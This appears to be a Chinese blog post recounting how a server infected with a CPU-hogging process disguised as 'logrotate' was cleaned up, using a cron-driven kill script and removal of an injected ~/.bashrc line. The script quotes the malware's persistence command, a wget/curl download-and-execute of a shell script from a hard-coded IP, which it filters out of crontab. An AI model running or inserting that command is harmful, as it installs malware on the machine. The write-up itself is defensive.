1.服务器速度非常慢,使用top
命令查看cpu占比,发现logrotate占据超100%
2.使用 ps -ef|grep logrotate
命令查看进程
3.因为总是出现,所以猜测是否被入侵,通过查找发现了木马执行的脚本文件地址
删除该脚本文件(后来才知道:名字是多变的 记录名字没用)
参考文章:
https://blog.csdn.net/qq32933432/article/details/135408156
4.一开始的解决方法是编写定时任务执行杀死进程的脚本
4.1 编写脚本,地址为 /usr/local/software/ship/sadmin/killlog/killnolog.sh
脚本的作用是:发现进程名为logrotate的非本次查询的所有进程PID并用空格分割,发现存在PID即进行删除,并清除病毒产生的定时任务,最后查看是否删除完毕
#!/bin/bash
process_name=logrotate
#查找并杀死进程名
PID=`ps -ef |grep $process_name|grep -v grep|awk '{print $2}'|xargs`
save_file="/usr/local/software/ship/sadmin/killlog/killlog.log"
current_time=$(date "+%Y-%m-%d %H:%M:%S")
#判断进程号是否存在
if [[ -z $PID ]]; then
echo -e "\n\n\n【$current_time】暂无可删除的$process_name记录" >> $save_file
else
kill -9 $PID
echo -e "\n\n\n【$current_time】已删除$process_name的【$PID】进程" >> $save_file
#删除自动注入的定时脚本任务
cron_name="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)"
del_result=`(crontab -l | grep -v "$cron_name") | crontab -`
result=`crontab -l`
echo -e "当前的定时任务为:$result" >> $save_file
PID_NOW=`ps -ef |grep $process_name|grep -v grep|awk '{print $2}'|xargs`
echo -e "-------------------当前$process_name有【$PID_NOW】进程" >> $save_file
fi
4.2 crontab -e
进入编写执行定时任务(每分钟执行一次)
发现病毒也插入了定时任务
删除该定时任务,编写自己的定时任务
*/1 * * * * /usr/local/software/ship/sadmin/killlog/killnolog.sh
使用crontab -l
可查看存在的定时任务,没有病毒的定时任务即可
5.后来发现了比较彻底版的解决方法
5.1 病毒在环境变量(~/.bashrc)中添加的下载命令,除非特殊需求,一般我们不在这个环境变量配置的文件里面写这种命令
这是之前还有病毒下载命令的文件
删除这句话 然后重新source一下就好了
(之前有过source /etc/profile
的经验,这个非本人解决,所以猜测是source ~/.bashrc
这个命令)
cd ~
ls -la
vim .bashrc